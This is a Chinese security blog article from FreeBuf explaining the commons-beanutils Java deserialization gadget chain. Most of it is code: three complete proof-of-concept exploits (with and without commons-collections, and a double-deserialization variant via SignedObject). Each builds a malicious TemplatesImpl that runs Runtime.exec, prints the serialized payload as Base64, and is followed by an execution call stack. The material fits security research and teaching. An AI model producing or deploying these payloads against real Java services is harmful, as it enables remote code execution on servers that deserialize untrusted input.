commons-beanutils的三种利用原理构造与POC
2022-9-22 17:1:42 Author: www.freebuf.com(查看原文) 阅读量:11 收藏

写在前面

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类，让我们可以很方便的对bean对象的属性进行各种操作。其中比较常使用的有 MethodUtils/ConstructorUtils/PropertyUtils/BeanUtils/ConvertUtils等。

分析

在之前CC链的分析中就有着一条链是通过java.util.PriorityQueue的readObject来触发的，相信大家都有印象。

主要是通过调用了其comparator的compare方法，进而调用了transform链的调用，看一下之前的调用链。

* Gadget chain:
 *      ObjectInputStream.readObject()
 *          PriorityQueue.readObject()
 *              PriorityQueue.heapify()
 *                  PriorityQueue.siftDown()
 * 				        PriorityQueue.siftDownUsingComparator()
 * 				            TransformingComparator.compare()
 * 				                InvokerTransformer.transform()
 * 				                    Method.invoke()
 * 				                        TemplatesImpl.newTransformer()
 * 				                            TemplatesImpl.getTransletInstance()
 * 				                                Runtime.exec()

而CB链的思路就是，将其中的comparator替换成commons-beanutils库中的某个comparator，达到我们的目的。我们可以通过Codeql进行查看一下CB库中有哪些Comparator。

image-20220922150850473.png

存在有一个BeanComparator这个类。

BeanComparator

这个类是用来判断两个Bean是否相等的类，跟进一下构造方法。

image-20220922151238669.png

在创建类的对象的时候可以为comparator赋予特定的比较器，值得注意的是如果没有设定自定义的comparator，其默认为ComparableComparator对象，当然，在调用链中，将会调用他的compare方法。。

image-20220922151535636.png

在方法中，将会通过调用PropertyUtils.getProperty将会取出两个对象的property属性值，之后调用internalCompare通过在创建BeanComparator对象是创建的比较器。

image-20220922154724052.png

PropertyUtils

而对于在其中调用的getProperty方法。

image-20220922155920616.png

接收两个参数 bean （类对象）和 name（属性名），方法会返回这个类的这个属性的值，但是他不是直接通过反射取值，而是通过反射调用getter方法获取属性，进而经过恶意的构造，我们可以触发任意的getter方法。

image-20220922160300690.png

构造利用

依赖CC库

那么我就就可以按照上面分析的思路构造利用了。我们的目标是通过触发任意的getter方法，达到调用TemplatesImpl#getOutputProperties方法执行命令。

首先我们需要创建一个恶意的TemplatesImpl类。

//动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EVil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "RoboTerh");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

我是通过javassist库进行创建恶意类生成字节码的，同样可以通过创建一个实类进行获取，特别注意的是对于TemplatesImpl利用链来说，其恶意类需要继承AbstractTranslet类。

之后我们创建一个比较器和PriorityQueue类，并将恶意类放入queue属性中。

//创建比较器
BeanComparator beanComparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, beanComparator);
queue.add(1);
queue.add(1);

//反射赋值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});

完整的POC。

package pers.cb;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB_withCC {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
        //动态创建字节码
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("EVil");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "RoboTerh");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        //创建比较器
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue queue = new PriorityQueue(2, beanComparator);
        queue.add(1);
        queue.add(1);

        //反射赋值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        //序列化
        ByteArrayOutputStream baor = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baor);
        oos.writeObject(queue);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object o = ois.readObject();
        baor.close();
    }
}

image-20220922161705232.png

调用栈。

exec:347, Runtime (java.lang)
<clinit>:-1, EVil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
main:57, CB_withCC (pers.cb)

但是上面的链子存在一个问题，如果我们将CC库的依赖去调用，将不能执行命令，为什么呢？

在前面对BeanComparator的分析中，提到了，在创建类对象的时候，将会判断是否存在有comparator属性值，如果没有将会创建一个ComparableComparator对象。

image-20220922162208413.png

不幸的是，这个类是存在commons-collections的类，如果没有这个依赖，在反序列化的过程中将会抛出异常。

当然同样有着解决的办法！

不依赖CC库

前面提到了，对于没有CC依赖的原因是，默认下的comparator，是CC依赖中的类，如果我们在创建类的时候赋予了一个在JDK或者commons-beanutils依赖中存在的comparator并且实现了Serializable接口就行了。

对于commons-beanutils中，只有BeanComparator这一个类满足，我们查找一下JDK中的类。

存在很多很多，常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator

我们只需要反射将对应的comparator写入属性中，就不需要依赖CC库了。

//反射赋值
setFieldValue(beanComparator, "property", "outputProperties");
//下面这两个二选一都可以
//setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
setFieldValue(queue, "queue", new Object[]{templates, templates});

完整的POC。

package pers.cb;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Collections;
import java.util.PriorityQueue;

public class CB_withoutCC {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
        //动态创建字节码
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "RoboTerh");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        //创建比较器
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);

        //反射赋值
        setFieldValue(beanComparator, "property", "outputProperties");
        //下面这两个二选一都可以
        //setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
        setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        //序列化
        ByteArrayOutputStream baor = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baor);
        oos.writeObject(queue);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object o = ois.readObject();
        baor.close();
    }
}

image-20220922163540323.png

二次反序列化

同样可以通过二次反序列化的方式触发利用链，在SignedObject#getObject方法中。

image-20220922163743894.png

能够对类对象的content属性中的数据进行反序列化，如果我们能够添加自定义content属性值，替换成序列化数据，就能够达到恶意目的，我们看看构造方法。

image-20220922164150077.png

很好，只需要传入一个实现了java.io.Serializable接口的对象做为第一个参数，那么将会将其进行序列化之后将字节传给content属性，那么就可以构造了。

创建一个恶意对象。

PriorityQueue queue1 = getpayload(obj, "outputProperties");

将这个对象传入SignedObject类中。

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));

完整的POC。

package pers.cb;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB_withoutCC_twice_deserialization {
    public static void setFieldValue(Object obj, String field, Object value) throws Exception{
        Field declaredField = obj.getClass().getDeclaredField(field);
        declaredField.setAccessible(true);
        declaredField.set(obj, value);
    }
    public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("2");
        setFieldValue(beanComparator, "property", string);
        setFieldValue(priorityQueue, "queue", new Object[]{object, null});
        return priorityQueue;
    }
    public static void main(String[] args) throws Exception {
        //生成恶意的bytecodes
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("evilexp");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ bytes });
        setFieldValue(obj, "_name", "RoboTerh");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        PriorityQueue queue1 = getpayload(obj, "outputProperties");

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));

        PriorityQueue queue2 = getpayload(signedObject, "object");

        //序列化
        ByteArrayOutputStream baor = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baor);
        oos.writeObject(queue2);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object o = ois.readObject();
        baor.close();
    }
}

image-20220922165230476.png

调用栈。

exec:347, Runtime (java.lang)
<clinit>:-1, evilexp
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
getObject:179, SignedObject (java.security)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
main:70, CB_withoutCC_twice_deserialization (pers.cb)

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